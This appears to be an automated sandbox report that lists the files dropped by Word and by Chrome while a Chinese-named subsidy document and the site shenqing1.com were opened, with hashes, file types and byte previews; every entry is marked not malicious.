C:\Users\user\AppData\Roaming\Microsoft\Templates\Normal.dotm (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	19361
Entropy (8bit):	7.4677808114453885
Encrypted:	false
SSDEEP:	384:Jrt+BNxt/ZtNNUOttaQULdMuf8cbusN27PWO9x+OMH:VAxllNvtej5C+PtH
MD5:	9EDDD4A21A083D6589877B153FDD65EC
SHA1:	4B27EF9BB328D710CB40141E27B18EE262F870B9
SHA-256:	0B42F2DEA35A8685294614A08035668EEF7EBBAF07CCC340CE53AD03B1248929
SHA-512:	423427A9A1CC229406BF9DD557760F7FF66F9C05959E3C6B53C5DBC2F898EE3F83345AC53B8AD169B687E9586BF571330F618B9E540DEFEB498F0E94DCF12363
Malicious:	false
Preview:	PK..........!.Q3.p............[Content_Types].xml ...(.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-J\X ......J..0....K......H...R.D.g..3.H....M!`.l.....J.j;...>.b.Fa...B....wz...<`F..K6.._s.r.F`.<X.T....7....U.._t:.\:...<&....A%&:f.9..H.hd..*1y.Lx.k)".........e..k.g.....)....&......A...3..WNN.U..e...<....'4(.....x.....nh.t.....p7..j..s...I@.w6.X..C.Tp...r+..^..F.N...".az...h.[!F.!...g...i"...C..n9.~l...3.....H..V..9.2.,)s..GZD..mo6M..a.!...q$.......O..r-.........PK..........!.........N......

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	3.3440039571761133
Encrypted:	false
SSDEEP:	3:KVGl/lilKlRAGl/mtHMwGl1Y38YGlNXMMKEajqn/CnqCl2:KVy/4KDZmGw3y+MKA/CqCl2
MD5:	29A026EFE536705589B797628835C75C
SHA1:	67BCDE9426E447FB1CF405234BE44D80E1826977
SHA-256:	2152F0AD08B0C4239D83318748C1AE0F9F010FBBAFAD668780CD9C75F5F510AF
SHA-512:	32106791BE29152D85C92C969914353CC7563EE227EE89926ACF44E0A53F4EECD426F3C3EE609EA6C603DF56821E5C940231D603E6FF88343057B24F79D5D279
Malicious:	false
Preview:	.user..................................................j.o.n.e.s..............H2..i....W.Xz.kM.....W....i.....H2..i...@W..j..p.#.p.#.M...........p.#..H2.@/W..@W.

C:\Users\user\AppData\Roaming\Microsoft\Templates\~WRD0002.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	19361
Entropy (8bit):	7.4677808114453885
Encrypted:	false
SSDEEP:	384:Jrt+BNxt/ZtNNUOttaQULdMuf8cbusN27PWO9x+OMH:VAxllNvtej5C+PtH
MD5:	9EDDD4A21A083D6589877B153FDD65EC
SHA1:	4B27EF9BB328D710CB40141E27B18EE262F870B9
SHA-256:	0B42F2DEA35A8685294614A08035668EEF7EBBAF07CCC340CE53AD03B1248929
SHA-512:	423427A9A1CC229406BF9DD557760F7FF66F9C05959E3C6B53C5DBC2F898EE3F83345AC53B8AD169B687E9586BF571330F618B9E540DEFEB498F0E94DCF12363
Malicious:	false
Preview:	PK..........!.Q3.p............[Content_Types].xml ...(.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-J\X ......J..0....K......H...R.D.g..3.H....M!`.l.....J.j;...>.b.Fa...B....wz...<`F..K6.._s.r.F`.<X.T....7....U.._t:.\:...<&....A%&:f.9..H.hd..*1y.Lx.k)".........e..k.g.....)....&......A...3..WNN.U..e...<....'4(.....x.....nh.t.....p7..j..s...I@.w6.X..C.Tp...r+..^..F.N...".az...h.[!F.!...g...i"...C..n9.~l...3.....H..V..9.2.,)s..GZD..mo6M..a.!...q$.......O..r-.........PK..........!.........N......

C:\Users\user\AppData\Roaming\Microsoft\UProof\ExcludeDictionary0c00.lex

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:Qn:Qn
MD5:	F3B25701FE362EC84616A93A45CE9998
SHA1:	D62636D8CAEC13F04E28442A0A6FA1AFEB024BBB
SHA-256:	B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
SHA-512:	98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9C4B24FF849510F4B6FFA9FD608C0A3DE9AC3C9FD2190F0EFAF715309061490F9755A9BFDF1C54CA0D84
Malicious:	false
Preview:	..

C:\Users\user\Desktop\2023#U5e74#U4e2a#U4eba#U52b3#U52a8#U8865#U8d34.docx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	29340
Entropy (8bit):	7.556413535671698
Encrypted:	false
SSDEEP:	384:2kCnYeUv6ZwmIjnqYmhRfzfrU2NmqR6S8lmDXRtFZWGaYClL6XxH1AX:2oRv6CjnqYg5vU2wqmWNZI7lMC
MD5:	E11317F1325CD267D7EF352EFD43608F
SHA1:	B5E9003FE73A4F10A4486E9B31DC9D3C0A1EEAA8
SHA-256:	B973E3C426547D3971B8EED0D9EC72AE9393B418DDBA884E714B571935CB98B8
SHA-512:	7C0787F6A133FD82F3135C8508B2642E08DF157DD58204D39BCE1EDD459A65039C6800748429F8D82521D0EB5D5F7527A3B77BE714E4533AC99AD1063DA1835C
Malicious:	false
Preview:	PK..........!....{............[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................n.0.E.......1tQU..E..T...3..~..^..........H...LbM.....BT.f..vY.V.B.i.>'o.G.D....Y..."..no.............Q....:..*..F .).B~.)..n..Kg.,v..`....b.1y]..$W.%.u_..1.VR .....B:.,....!I.4../...^.o...........t<.i;sJ.MO.)...@BU9....c.U@2......t.....m._]...#....b..;...vnr...<Hc...q.!^...m..D.\.`......j...[AJ..\..1..V......w6...X$u....]....Q.;4......k......ZI...f.yDg..m....?g........PK..........!..U~............._rels/.

C:\Users\user\Desktop\~$23#U5e74#U4e2a#U4eba#U52b3#U52a8#U8865#U8d34.docx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	4.722321360305444
Encrypted:	false
SSDEEP:	3:KVGl/lilKlRAGlCIPV/qDXT3F81Jq5rDdpEXVD/P94MLkJsA:KVy/4KDQItCX3hPMD/V47JsA
MD5:	4D7D508C0AEE3120AE93E0DE4591D4D8
SHA1:	3D0526D011BD1EAD7876748F323B0AED08810EA7
SHA-256:	50385CE381FA5A81F180F1955C9A2B32120CA6D7B46B783935BCFC960895FB30
SHA-512:	4E16F250D5C071831FBAF505B0328CDB18978E6831F89464BCD3275680E29697FD38A3ABC3C4F35ADD8FC5E505834E86FA11A794554C29404A01BA359276E609
Malicious:	false
Preview:	.user..................................................j.o.n.e.s...]~.l..o..v....%.X.9N.\|..]..j"$A1D.j#...,.....F\N......6."..rnD......?O:D.!W.}..i......V..=.i

C:\Users\user\Desktop\~WRD0000.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	29340
Entropy (8bit):	7.556413535671698
Encrypted:	false
SSDEEP:	384:2kCnYeUv6ZwmIjnqYmhRfzfrU2NmqR6S8lmDXRtFZWGaYClL6XxH1AX:2oRv6CjnqYg5vU2wqmWNZI7lMC
MD5:	E11317F1325CD267D7EF352EFD43608F
SHA1:	B5E9003FE73A4F10A4486E9B31DC9D3C0A1EEAA8
SHA-256:	B973E3C426547D3971B8EED0D9EC72AE9393B418DDBA884E714B571935CB98B8
SHA-512:	7C0787F6A133FD82F3135C8508B2642E08DF157DD58204D39BCE1EDD459A65039C6800748429F8D82521D0EB5D5F7527A3B77BE714E4533AC99AD1063DA1835C
Malicious:	false
Preview:	PK..........!....{............[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................n.0.E.......1tQU..E..T...3..~..^..........H...LbM.....BT.f..vY.V.B.i.>'o.G.D....Y..."..no.............Q....:..*..F .).B~.)..n..Kg.,v..`....b.1y]..$W.%.u_..1.VR .....B:.,....!I.4../...^.o...........t<.i;sJ.MO.)...@BU9....c.U@2......t.....m._]...#....b..;...vnr...<Hc...q.!^...m..D.\.`......j...[AJ..\..1..V......w6...X$u....]....Q.;4......k......ZI...f.yDg..m....?g........PK..........!..U~............._rels/.

C:\Users\user\Desktop\~WRD0000.tmp:Zone.Identifier

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

Chrome Cache Entry: 248

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, original size modulo 2^32 281
Category:	dropped
Size (bytes):	232
Entropy (8bit):	7.0676437260056115
Encrypted:	false
SSDEEP:	3:FttbL1NiZoYX781qpKiRjsUQs3VoFXggY1nxU2ihA3Q8vatHdWHXbcfdg1imeE:XtbLzA81qpPo+lqE1xU21gaIWrSg1imz
MD5:	D26C13A934C8B22EE43899454C789B9C
SHA1:	416A6678C317A0C76B57D798B5262C58F9DF17FC
SHA-256:	F6922D720C4BCBACD3786AFBA731DC0276255C488139BA8E63339805C1AC505A
SHA-512:	3C1C844AC9ACDEF768EA49DD01965D019078AD0EC626FD0E2456E1AEEAF49B8772785EB1C075C293898EA893B81ECCCBC5D239900452C00F67C4F3E738CBF410
Malicious:	false
Preview:	..........d.Ak.0.G...IP'...%H.i..^.YJ.G..32..m...+=.2.....c.PH.I..w/..F].......3.\\|..P.....W........ .M.K.k..W.q.....d.rXF.......SG..sR..&...?E../..7....]Vs...Y#6+.....t~.qbBJ.OC...?/..f.h}.....-.,.z8...:.,.....!........Q.w....

Chrome Cache Entry: 249

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	downloaded
Size (bytes):	1150
Entropy (8bit):	5.812719994832686
Encrypted:	false
SSDEEP:	24:BGcFuXgKzPFo+h5DlmObu858kYJn3uapdVmBmOQQ:BGcFuXgUe+h55e8+jsaLVmBa
MD5:	7EF1F0A0093460FE46BB691578C07C95
SHA1:	2DA3FFBBF4737CE4DAE9488359DE34034D1EBFBD
SHA-256:	4C62EEF22174220B8655590A77B27957F3518B4C3B7352D0B64263B80E728F2C
SHA-512:	68DA2C2F6F7A88AE364A4CF776D2C42E50150501CCF9B740A2247885FB21D1BECBE9EE0BA61E965DD21D8EE01BE2B364A29A7F9032FC6B5CDFB28CC6B42F4793
Malicious:	false
URL:	http://www.shenqing1.com/favicon.ico
Preview:	............ .h.......(....... ..... .....@..............................................'Q...Q......'...........................................%g....o...m...m...o..g......%...........................!h...........@......B...B@...........h......!............o...........=.....F...;...........;...F=...........o...............:.....B...8....P6@.?2K.?1J.P6@........8...B:........v..........\|......x.@G.f@S........8...8....i>L..>A....xk....q...f.....2Y..nTe.}Ti.5k.....o...=R.{.T.r....=...o.y...........q.....k`j.qLY.....k...........s<..eG..j].............R......]GX._NW.iQk.M>Z.....R....^...f......\|..................g.......P0L.SF`....yf...z...t..se....o...=A...A......=...o;_P.bFa.QBd."^g.......i...p.m.....x.My.{Qp........8...8....{Qj..O{...x\|.....e..vT...f..v[.G......B...8....oLj.YCQ.XBP.oKi........8...B@....mT.$nX.....}.....d...i.=......F...;...........;...F=.....i...d.\|..................!m....w...v.@......B...B@.....v...x.l.....!...........................%h....o...d...d...n.h.

Chrome Cache Entry: 250

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	779
Entropy (8bit):	5.250799843970139
Encrypted:	false
SSDEEP:	24:ruHjCPWRWZe9kJiEV4uHjCPiHRRWZe9kJiEV1QuH+dWdSRWZa4:bOww/aHRww0WdaSwN
MD5:	43B3974C35B4372233F791C1DD6F13FA
SHA1:	A8734991CD6BB7A4BB099C48137060E7B6F1E42D
SHA-256:	3CA8B87CEB548231C862303E12F2BE969ED71B66824FE543BD0B88E105FB5997
SHA-512:	F8AD5716A4254DB52A5E2924213765E19F8C3D0F379E950CC790C09EA8D00412B42EDE466153A9EA4535453091974FEE4D4945EAFA83722B1E24006672892382
Malicious:	false
Preview:	var _hmt = _hmt \|\| [];..(function() {.. var hm = document.createElement("script");.. hm.src = "https://hm.baidu.com/hm.js?f65b5decfda457ddb48fb11285b70333";.. var s = document.getElementsByTagName("script")[0]; .. s.parentNode.insertBefore(hm, s);..})();..var _hmt = _hmt \|\| [];..(function() {.. var hm = document.createElement("script");.. hm.src = "https://hm.baidu.com/hm.js?282ad46c18b6295a8bb8e1da991aa804";.. var s = document.getElementsByTagName("script")[0]; .. s.parentNode.insertBefore(hm, s);..})();..var _mtj = _mtj \|\| [];.. (function () {.. var mtj = document.createElement("script");.. mtj.src = "https://node22.aizhantj.com:21233/tjjs/?k=d94f3xexzei";.. var s = document.getElementsByTagName("script")[0];.. s.parentNode.insertBefore(mtj, s);.. })();

Chrome Cache Entry: 251

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from TOPS/20, original size modulo 2^32 1953
Category:	downloaded
Size (bytes):	928
Entropy (8bit):	7.782468934646429
Encrypted:	false
SSDEEP:	24:XfVGx5Rjmzr645h5Sx1AuO+vJ9BypvTxWvs0Y/U:XfejmdxSxLRQqsg
MD5:	33852223D2E1A4D58D18CBA525DDF350
SHA1:	139F2E3D8748E082BBE6D6329F2CC96156306327
SHA-256:	D371D928109D231AA365509A1145F3F4C678FCED67CE4C06498CAF0457E7371E
SHA-512:	CC66D7261FA4B9C747B35408A9DA33DEC23DAD04B64A720842C8549275C371C2356A77E64557CE0C1935389D8F132168562A87B8F9425BFC7E2C395C1C7833AC
Malicious:	false
URL:	http://www.shenqing1.com/common.js
Preview:	...........T..6..._..X-........m.P`..k.t...bl..dHrrA..}..'...@..).?.\qK.....dN.)....n:Z.1.....N&.......Dz.....zy.7W.v.o.........;...,........mG.S......-.........X.-...,%g..L..}....h<..F;O.ny..Y....o......l-...)Sp/..\<D...D;t.n.J.,i0r.b.%....R.KS.mD.C.........`...'r.GH..r..^.9..v...EH.hk.a.9..B..,.."....9G....\.)..Uf](..U...FS..F..V .......)YK.^.y....0..;b.]..^...'V.q2.}G.F....be......\.PL...WX...rN7.(..-...O.b...e.)7V.......P.%{...l1.!J.4D..c.o@.1[."6.o........E.k..C(...........8^.H.#.+F.....m..^..K.,...2..46...}.a[\|.5...U.-C.....%;..._VTR.......ci,a..$..d...y..M.....u_\M.ur.\|.</.G..p._t.bh?,T......n.....C..$,'?..c..E..(y..t....<..4..MO.$/d..;..5.o.&..u........#........?.b....ZX."x. H,..89...3.....J.1.'....G.`....,.2.....t..=quQ..n..O.....Q....1n.}..~.{~.T.E.>N.2.4....D.3.W.E..$.}z..pY..v\|%......ia...5..?o.....\ 1b{.p5.........XN....<.U..J.....:.X.f...QHT....

Chrome Cache Entry: 252

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0950611313667666
Encrypted:	false
SSDEEP:	3:CUMllRPQEsJ9pse:Gl3QEsJLse
MD5:	AD4B0F606E0F8465BC4C4C170B37E1A3
SHA1:	50B30FD5F87C85FE5CBA2635CB83316CA71250D7
SHA-256:	CF4724B2F736ED1A0AE6BC28F1EAD963D9CD2C1FD87B6EF32E7799FC1C5C8BDA
SHA-512:	EBFE0C0DF4BCC167D5CB6EBDD379F9083DF62BEF63A23818E1C6ADF0F64B65467EA58B7CD4D03CF0A1B1A2B07FB7B969BF35F25F1F8538CC65CF3EEBDF8A0910
Malicious:	false
URL:	https://hm.baidu.com/hm.gif?hca=436E3B5EE945DDD8&cc=1&ck=1&cl=24-bit&ds=1280x1024&vl=907&et=0&ja=0&ln=en-us&lo=0&rnd=470346401&si=282ad46c18b6295a8bb8e1da991aa804&v=1.3.2&lv=1&sn=38805&r=0&ww=1280&u=http%3A%2F%2Fwww.shenqing1.com%2F&tt=%E4%B8%87%E5%AE%81%E8%82%87%E6%B1%95%E5%95%86%E8%B4%B8%E6%9C%89%E9%99%90%E5%85%AC%E5%8F%B8
Preview:	GIF89a.............!.......,...........L..;

Chrome Cache Entry: 253

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	779
Entropy (8bit):	5.250799843970139
Encrypted:	false
SSDEEP:	24:ruHjCPWRWZe9kJiEV4uHjCPiHRRWZe9kJiEV1QuH+dWdSRWZa4:bOww/aHRww0WdaSwN
MD5:	43B3974C35B4372233F791C1DD6F13FA
SHA1:	A8734991CD6BB7A4BB099C48137060E7B6F1E42D
SHA-256:	3CA8B87CEB548231C862303E12F2BE969ED71B66824FE543BD0B88E105FB5997
SHA-512:	F8AD5716A4254DB52A5E2924213765E19F8C3D0F379E950CC790C09EA8D00412B42EDE466153A9EA4535453091974FEE4D4945EAFA83722B1E24006672892382
Malicious:	false
URL:	http://www.shenqing1.com/tj.js
Preview:	var _hmt = _hmt \|\| [];..(function() {.. var hm = document.createElement("script");.. hm.src = "https://hm.baidu.com/hm.js?f65b5decfda457ddb48fb11285b70333";.. var s = document.getElementsByTagName("script")[0]; .. s.parentNode.insertBefore(hm, s);..})();..var _hmt = _hmt \|\| [];..(function() {.. var hm = document.createElement("script");.. hm.src = "https://hm.baidu.com/hm.js?282ad46c18b6295a8bb8e1da991aa804";.. var s = document.getElementsByTagName("script")[0]; .. s.parentNode.insertBefore(hm, s);..})();..var _mtj = _mtj \|\| [];.. (function () {.. var mtj = document.createElement("script");.. mtj.src = "https://node22.aizhantj.com:21233/tjjs/?k=d94f3xexzei";.. var s = document.getElementsByTagName("script")[0];.. s.parentNode.insertBefore(mtj, s);.. })();

Chrome Cache Entry: 254

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 35217
Category:	downloaded
Size (bytes):	11594
Entropy (8bit):	7.983756892179223
Encrypted:	false
SSDEEP:	192:gugOP1e+c9eZxWTYxcwO1CTVQY8Wji8bzJDltN8ui0ORi7U9TmF9nWxG:gm/ZxWTCcwA7Y5NDlv/iVIUxWl
MD5:	D0935AA9EFEF2B82A65D982C5A95567E
SHA1:	C346B35B77A4E5A88F8286F476784E89E20F2D31
SHA-256:	1AF15F5ECAE75BDF6971D15F37FDF6371B2C7DDA79F264C4D1399733C929F1A8
SHA-512:	087C9B0E47E39CD8AD3E00A4FC7D2F81B7EFA4BC8C75C52344DBE37D22D2BCEA1D01F29DB39980E83A46D9FD7A2A195539A164A0DB4F8B005D77269866A82179
Malicious:	false
URL:	https://node22.aizhantj.com:21233/tjjs/?k=d94f3xexzei
Preview:	...........}iw...w....M.D.,;.m.:....I.!.pd'.$...(..lg..o......s.].k.......7.L6yR.W.....(..w.}.2....zH.wo..x~........(.~........m....I.wZB.j.OO.X4.-w.d<8-..XV...C....6?..?.n.BSv.n..o......<.......U%gs.:....?.Z._!+.k...!b...?..ZY.+;_.So..q.7.....7Y.O.X3.....l..K...........{...b....[^.....DT..[..o.K.,....zw=h...^.J6K.[.J...}....A........<.M...6....ZT3n..T34..\//..B..d.U.._......&gu.&....>W...L..A.......U.....u...>{!..+...F'w.`..f...I.F...r.w..n.Q....8nU\|P.......d....w...A...{{~.^cx.x.k..........}..Kpg..wxx.9..b..?$...].\5...PP[..x.......0......y.P.q.....A......H....d...m.0P.x.?{.....D2.V..NA.r..50.9...e8....P&h.$D.=}ZH&.i.,\|......0...S.T..:...../...<...:=u;.z4..P.3..w...o......._.._6.X.p......<.W....].+..;.y..(.k.@m.......L$.P......S.....vSv\|...v........=&.c..a......g.w.zr.=..i...).O... ..v. ....7Y.^...=.(.............K...!.8.J..E..:^0..ON.-.P/.........S`/-p...j.....i.n...O.Y...k.M.v. ....=\.....y..G..=<.cX..H.d#....@g2.t..v6^.;q..6.!G6:..w.@m

Chrome Cache Entry: 255

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (618)
Category:	downloaded
Size (bytes):	29894
Entropy (8bit):	5.433230764800587
Encrypted:	false
SSDEEP:	384:5AJSoLMJJTRl6s1JXFVCFI/TayvuodsZPIGm8XaR1JRwvutq1tGdc7M04gRw6:5A4VJfHgMdvussZPIx82Rwvutcto07v
MD5:	9D2CFBFF5E47B86018400A8503740FC3
SHA1:	D6F106843D1E4F7AFB50B37EC5ACC2F00895858E
SHA-256:	3CB3F858B095A609D962992EE8773E316E9E3B84906258CC72B5E582FFEA1675
SHA-512:	D2734D200F8406D31A53DDB0B90DB56CA7D908D29D3E72C70C294F0B400A7F8734DF95EBF1EAF33C31EA60BDF2E03539A7248A9E24BC36E95B6625C8DE4DD464
Malicious:	false
URL:	https://hm.baidu.com/hm.js?282ad46c18b6295a8bb8e1da991aa804
Preview:	(function(){var h={},mt={},c={id:"282ad46c18b6295a8bb8e1da991aa804",dm:["zong.com"],js:"tongji.baidu.com/hm-web/js/",etrk:[],cetrk:[],cptrk:[],icon:'',ctrk:[],vdur:1800000,age:31536000000,qiao:0,pt:0,spa:0,aet:'',hca:'436E3B5EE945DDD8',ab:'0',v:1};var s=void 0,t=!0,u=null,x=!1;mt.cookie={};mt.cookie.set=function(e,a,b){var k;b.C&&(k=new Date,k.setTime(k.getTime()+b.C));document.cookie=e+"="+a+(b.domain?"; domain="+b.domain:"")+(b.path?"; path="+b.path:"")+(k?"; expires="+k.toGMTString():"")+(b.ec?"; secure":"")};mt.cookie.get=function(e){return(e=RegExp("(^\| )"+e+"=([^;]*)(;\|$)").exec(document.cookie))?e[2]:u};.mt.cookie.rb=function(e,a){try{var b="Hm_ck_"+ +new Date;mt.cookie.set(b,"42",{domain:e,path:a,C:s});var k="42"===mt.cookie.get(b)?"1":"0";mt.cookie.set(b,"",{domain:e,path:a,C:-1});return k}catch(d){return"0"}};mt.event={};mt.event.c=function(e,a,b,k){e.addEventListener?e.addEventListener(a,b,k\|\|x):e.attachEvent&&e.attachEvent("on"+a,function(d){b.call(e,d)})};.(function(){var

Chrome Cache Entry: 256

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 35217
Category:	dropped
Size (bytes):	11594
Entropy (8bit):	7.983756892179223
Encrypted:	false
SSDEEP:	192:gugOP1e+c9eZxWTYxcwO1CTVQY8Wji8bzJDltN8ui0ORi7U9TmF9nWxG:gm/ZxWTCcwA7Y5NDlv/iVIUxWl
MD5:	D0935AA9EFEF2B82A65D982C5A95567E
SHA1:	C346B35B77A4E5A88F8286F476784E89E20F2D31
SHA-256:	1AF15F5ECAE75BDF6971D15F37FDF6371B2C7DDA79F264C4D1399733C929F1A8
SHA-512:	087C9B0E47E39CD8AD3E00A4FC7D2F81B7EFA4BC8C75C52344DBE37D22D2BCEA1D01F29DB39980E83A46D9FD7A2A195539A164A0DB4F8B005D77269866A82179
Malicious:	false
Preview:	...........}iw...w....M.D.,;.m.:....I.!.pd'.$...(..lg..o......s.].k.......7.L6yR.W.....(..w.}.2....zH.wo..x~........(.~........m....I.wZB.j.OO.X4.-w.d<8-..XV...C....6?..?.n.BSv.n..o......<.......U%gs.:....?.Z._!+.k...!b...?..ZY.+;_.So..q.7.....7Y.O.X3.....l..K...........{...b....[^.....DT..[..o.K.,....zw=h...^.J6K.[.J...}....A........<.M...6....ZT3n..T34..\//..B..d.U.._......&gu.&....>W...L..A.......U.....u...>{!..+...F'w.`..f...I.F...r.w..n.Q....8nU\|P.......d....w...A...{{~.^cx.x.k..........}..Kpg..wxx.9..b..?$...].\5...PP[..x.......0......y.P.q.....A......H....d...m.0P.x.?{.....D2.V..NA.r..50.9...e8....P&h.$D.=}ZH&.i.,\|......0...S.T..:...../...<...:=u;.z4..P.3..w...o......._.._6.X.p......<.W....].+..;.y..(.k.@m.......L$.P......S.....vSv\|...v........=&.c..a......g.w.zr.=..i...).O... ..v. ....7Y.^...=.(.............K...!.8.J..E..:^0..ON.-.P/.........S`/-p...j.....i.n...O.Y...k.M.v. ....=\.....y..G..=<.cX..H.d#....@g2.t..v6^.;q..6.!G6:..w.@m

Chrome Cache Entry: 257

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from TOPS/20, original size modulo 2^32 1107
Category:	downloaded
Size (bytes):	621
Entropy (8bit):	7.619499312622335
Encrypted:	false
SSDEEP:	12:XTh5Ro9jx31on52ikBIVzFcf8D4VD1LwDpCOK6TYDnAkbJok18/ozuFrcL:XV4xy52HCFtqLwdCOKO56Wg8r6
MD5:	C87467F1D2DC350718806113DC4CB91A
SHA1:	091BE8B3DDA422EF11A475E0378FD9C3FDAB8A79
SHA-256:	A10A368C44D7E2082305BE14FCF1EBF25827F055A4F57CD60847C0A06043C7B8
SHA-512:	70D93DB38B16CF838B4DD22CF1750139E8DDF9CE60D82A2FB2F0130CBEF39FAC20CAB5DD1CD377F97975CC634C2F3216338652D5DB0CB7C53FA153E4A12DDA3A
Malicious:	false
URL:	http://www.shenqing1.com/
Preview:	...........SM..0..o....D.d..0......q.x..P..0.EZ.k...'/^41.5...O.....-.....&...>..~...9..yI.e.Xu.....n-H.T7<..w...OOF+...4......7...d..q.~......o?.}......_~x..#..sGI.?~...st........-...1.3....$.,S...\..A......s..p..~Cw ms"..h..B...W.....`.f...c..1]i.C.s.i.........u.......m.t.L.._.....%9n...k...U`....9~.d.@...._.+..........\|..PM1....S.....N..L...@.....`\..:>.u.(zL...pM...D._.....;m.1.H...OO._.T.........#..9.....j.....IM..I...Y..-.I..2..+H.<...j.i.Y.-.v.=...A...R.+. ...........2.#..gz...i......x.j....S..$W.n.....eI#.......F..u]............f.+Ts.%I0.J.k..%...Ug.....4..3.#...7......y...S...

Chrome Cache Entry: 258

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from TOPS/20, original size modulo 2^32 1953
Category:	dropped
Size (bytes):	928
Entropy (8bit):	7.782468934646429
Encrypted:	false
SSDEEP:	24:XfVGx5Rjmzr645h5Sx1AuO+vJ9BypvTxWvs0Y/U:XfejmdxSxLRQqsg
MD5:	33852223D2E1A4D58D18CBA525DDF350
SHA1:	139F2E3D8748E082BBE6D6329F2CC96156306327
SHA-256:	D371D928109D231AA365509A1145F3F4C678FCED67CE4C06498CAF0457E7371E
SHA-512:	CC66D7261FA4B9C747B35408A9DA33DEC23DAD04B64A720842C8549275C371C2356A77E64557CE0C1935389D8F132168562A87B8F9425BFC7E2C395C1C7833AC
Malicious:	false
Preview:	...........T..6..._..X-........m.P`..k.t...bl..dHrrA..}..'...@..).?.\qK.....dN.)....n:Z.1.....N&.......Dz.....zy.7W.v.o.........;...,........mG.S......-.........X.-...,%g..L..}....h<..F;O.ny..Y....o......l-...)Sp/..\<D...D;t.n.J.,i0r.b.%....R.KS.mD.C.........`...'r.GH..r..^.9..v...EH.hk.a.9..B..,.."....9G....\.)..Uf](..U...FS..F..V .......)YK.^.y....0..;b.]..^...'V.q2.}G.F....be......\.PL...WX...rN7.(..-...O.b...e.)7V.......P.%{...l1.!J.4D..c.o@.1[."6.o........E.k..C(...........8^.H.#.+F.....m..^..K.,...2..46...}.a[\|.5...U.-C.....%;..._VTR.......ci,a..$..d...y..M.....u_\M.ur.\|.</.G..p._t.bh?,T......n.....C..$,'?..c..E..(y..t....<..4..MO.$/d..;..5.o.&..u........#........?.b....ZX."x. H,..89...3.....J.1.'....G.`....,.2.....t..=quQ..n..O.....Q....1n.}..~.{~.T.E.>N.2.4....D.3.W.E..$.}z..pY..v\|%......ia...5..?o.....\ 1b{.p5.........XN....<.U..J.....:.X.f...QHT....

Chrome Cache Entry: 259

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0950611313667666
Encrypted:	false
SSDEEP:	3:CUMllRPQEsJ9pse:Gl3QEsJLse
MD5:	AD4B0F606E0F8465BC4C4C170B37E1A3
SHA1:	50B30FD5F87C85FE5CBA2635CB83316CA71250D7
SHA-256:	CF4724B2F736ED1A0AE6BC28F1EAD963D9CD2C1FD87B6EF32E7799FC1C5C8BDA
SHA-512:	EBFE0C0DF4BCC167D5CB6EBDD379F9083DF62BEF63A23818E1C6ADF0F64B65467EA58B7CD4D03CF0A1B1A2B07FB7B969BF35F25F1F8538CC65CF3EEBDF8A0910
Malicious:	false
Preview:	GIF89a.............!.......,...........L..;

Chrome Cache Entry: 260

Download File

